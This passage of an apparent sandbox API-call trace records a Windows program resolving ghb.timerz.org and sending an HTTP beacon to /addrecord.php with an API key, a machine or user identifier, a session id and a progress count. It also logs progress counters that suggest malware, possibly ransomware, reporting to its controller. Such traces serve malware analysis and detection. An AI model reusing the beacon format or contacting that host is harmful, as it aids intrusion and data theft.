cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Connection: close", lpUsedDefaultChar=0x0) returned 17 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0030.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0030.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0030.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECTION: CLOSE", lpUsedDefaultChar=0x0) returned 17 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0030.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0030.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Content-Type: text/html", lpUsedDefaultChar=0x0) returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0030.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0030.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONTENT-TYPE: TEXT/HTML", lpUsedDefaultChar=0x0) returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78bf4, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0030.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e789ec, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0030.208] GetCurrentThreadId () returned 0x6c8 [0030.208] GetCurrentThreadId () returned 0x6c8 [0030.208] GetCurrentThreadId () returned 0x6c8 [0030.208] Sleep (dwMilliseconds=0x0) [0030.208] ioctlsocket (in: s=0x188, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0030.208] select (in: nfds=393, readfds=0x228fbe4, writefds=0x0, exceptfds=0x0, timeout=0x228fbdc*(tv_sec=60, tv_usec=0) | out: readfds=0x228fbe4, writefds=0x0, exceptfds=0x0) returned 1 [0030.208] ioctlsocket (in: s=0x188, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0030.208] shutdown (s=0x188, how=1) returned 0 [0030.209] Sleep (dwMilliseconds=0x1) [0030.218] ioctlsocket (in: s=0x188, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0030.218] closesocket (s=0x188) returned 0 [0030.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea3838, cbMultiByte=90, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0030.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea3838, cbMultiByte=90, lpWideCharStr=0x1d8495c, cchWideChar=90 | out: lpWideCharStr="

400 Bad request

\nYour browser sent an invalid request.\n\n") returned 90 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] SetEvent (hEvent=0xc4) returned 1 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] GetCurrentThreadId () returned 0x6c8 [0030.218] CloseHandle (hObject=0x12c) returned 1 [0030.218] RtlExitUserThread (Status=0x0) Thread: id = 72 os_tid = 0x99c [0031.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e6302c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0031.577] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x0, lpMultiByteStr=0x1eaa9ac, cbMultiByte=20, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="Host: ghb.timerz.org") returned 20 [0031.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0031.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="80", cchWideChar=2, lpMultiByteStr=0x1e6a87c, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="80", lpUsedDefaultChar=0x0) returned 2 [0031.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ghb.timerz.org", cchWideChar=14, lpMultiByteStr=0x1e62fec, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ghb.timerz.org", lpUsedDefaultChar=0x0) returned 14 [0031.578] getaddrinfo (in: pNodeName="ghb.timerz.org", pServiceName="80", pHints=0x228fb8c*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x228fbac | out: ppResult=0x228fbac*=0x70c8c8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713320*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) returned 0 [0031.622] FreeAddrInfoW (pAddrInfo=0x70c8c8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=6, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x713320*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), ai_next=0x0)) [0031.622] getnameinfo (in: pSockaddr=0x228fc14*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), SockaddrLength=0x10, pNodeBuffer=0x1deee0c, NodeBufferSize=0x401, pServiceBuffer=0x1eb2394, ServiceBufferSize=0x20, Flags=10 | out: pNodeBuffer="47.245.34.40", pServiceBuffer="80") returned 0 [0031.622] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpWideCharStr=0x228ec30, cchWideChar=2047 | out: lpWideCharStr="47.245.34.40") returned 12 [0031.622] htons (hostshort=0x5000) returned 0x50 [0031.622] socket (af=2, type=1, protocol=6) returned 0x174 [0031.623] connect (s=0x174, name=0x228fcd8*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=16) returned 0 [0031.898] getsockname (in: s=0x174, name=0x1e0de30, namelen=0x228fca4 | out: name=0x1e0de30*(sa_family=2, sin_port=0xc024, sin_addr="192.168.0.244"), namelen=0x228fca4) returned 0 [0031.898] getpeername (in: s=0x174, name=0x1e0de4c, namelen=0x228fca4 | out: name=0x1e0de4c*(sa_family=2, sin_port=0x50, sin_addr="47.245.34.40"), namelen=0x228fca4) returned 0 [0031.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=494DCEE6F0485AF8|3896|1GB HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=254, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 254 [0031.898] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=494DCEE6F0485AF8|3896|1GB HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", cchWideChar=254, lpMultiByteStr=0x1ddc96c, cbMultiByte=254, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GET /addrecord.php?apikey=BWNG_api_key&compuser=XDUWTFONO|5p5NrGJn0jS HALPmcxz&sid=zN9CRDEjR5xCk7mL&phase=494DCEE6F0485AF8|3896|1GB HTTP/1.0\r\nHost: ghb.timerz.org\r\nKeep-Alive: 300\r\nConnection: keep-alive\r\nUser-Agent: Mozilla/4.0 (compatible; Synapse)\r\n\r\n", lpUsedDefaultChar=0x0) returned 254 [0031.898] send (s=0x174, buf=0x1ddc96c*, len=254, flags=0) returned 254 [0031.899] QueryPerformanceFrequency (in: lpFrequency=0x228fccc | out: lpFrequency=0x228fccc*=100000000) returned 1 [0031.899] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcc4 | out: lpPerformanceCount=0x228fcc4*=17385085787) returned 1 [0031.899] Sleep (dwMilliseconds=0x0) [0031.931] ioctlsocket (in: s=0x174, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0031.931] select (in: nfds=373, readfds=0x228fb98, writefds=0x0, exceptfds=0x0, timeout=0x228fb90*(tv_sec=60, tv_usec=0) | out: readfds=0x228fb98, writefds=0x0, exceptfds=0x0) returned 1 [0032.176] ioctlsocket (in: s=0x174, cmd=1074030207, argp=0x228fca4 | out: argp=0x228fca4) returned 0 [0032.176] recv (in: s=0x174, buf=0x26030ac, len=187, flags=0 | out: buf=0x26030ac*) returned 187 [0032.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7fdec, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0032.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7fdec, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0032.176] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e7fdec, cbMultiByte=24, lpWideCharStr=0x228ed38, cchWideChar=2047 | out: lpWideCharStr="HTTP/1.0 400 Bad request") returned 24 [0032.176] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0032.177] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22412878385) returned 1 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0032.177] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0032.177] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22412892797) returned 1 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-cacherequest") returned 17 [0032.177] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0032.177] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22412910243) returned 1 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0032.177] QueryPerformanceFrequency (in: lpFrequency=0x228fcc0 | out: lpFrequency=0x228fcc0*=100000000) returned 1 [0032.177] QueryPerformanceCounter (in: lpPerformanceCount=0x228fcb8 | out: lpPerformanceCount=0x228fcb8*=22412924758) returned 1 [0032.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0032.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Cache-Control: no-cache", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Cache-Control: no-cache", lpUsedDefaultChar=0x0) returned 23 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Cache-Control: no-cacherequest") returned 23 [0032.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0032.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CACHE-CONTROL: NO-CACHE", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CACHE-CONTROL: NO-CACHE", lpUsedDefaultChar=0x0) returned 23 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CACHE-CONTROL: NO-CACHErequest") returned 23 [0032.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Connection: close", cchWideChar=17, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Connection: close", lpUsedDefaultChar=0x0) returned 17 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0032.177] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Connection: close-CACHErequest") returned 17 [0032.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONNECTION: CLOSE", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECTION: CLOSE", lpUsedDefaultChar=0x0) returned 17 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONNECTION: CLOSE-CACHErequest") returned 17 [0032.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0032.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Content-Type: text/html", cchWideChar=23, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Content-Type: text/html", lpUsedDefaultChar=0x0) returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0032.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0032.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CONTENT-TYPE: TEXT/HTML", cchWideChar=23, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONTENT-TYPE: TEXT/HTML", lpUsedDefaultChar=0x0) returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e78654, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="Content-Type: text/htmlrequest") returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0032.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e786cc, cbMultiByte=23, lpWideCharStr=0x228ed2c, cchWideChar=2047 | out: lpWideCharStr="CONTENT-TYPE: TEXT/HTMLrequest") returned 23 [0032.178] GetCurrentThreadId () returned 0x99c [0032.178] GetCurrentThreadId () returned 0x99c [0032.178] GetCurrentThreadId () returned 0x99c [0032.178] Sleep (dwMilliseconds=0x0) [0032.180] ioctlsocket (in: s=0x174, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0032.180] select (in: nfds=373, readfds=0x228fbe4, writefds=0x0, exceptfds=0x0, timeout=0x228fbdc*(tv_sec=60, tv_usec=0) | out: readfds=0x228fbe4, writefds=0x0, exceptfds=0x0) returned 1 [0032.181] ioctlsocket (in: s=0x174, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0032.181] shutdown (s=0x174, how=1) returned 0 [0032.181] Sleep (dwMilliseconds=0x1) [0032.185] ioctlsocket (in: s=0x174, cmd=1074030207, argp=0x228fcf0 | out: argp=0x228fcf0) returned 0 [0032.185] closesocket (s=0x174) returned 0 [0032.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea4058, cbMultiByte=90, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0032.186] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ea4058, cbMultiByte=90, lpWideCharStr=0x2602fdc, cchWideChar=90 | out: lpWideCharStr="

400 Bad request

\nYour browser sent an invalid request.\n\n") returned 90 [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] SetEvent (hEvent=0xc4) returned 1 [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] GetCurrentThreadId () returned 0x99c [0032.186] CloseHandle (hObject=0xf4) returned 1 [0032.186] RtlExitUserThread (Status=0x0) Thread: id = 75 os_tid = 0xaec [0031.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=0 / B=0 / T=3896", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0031.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=0 / B=0 / T=3896", cchWideChar=36, 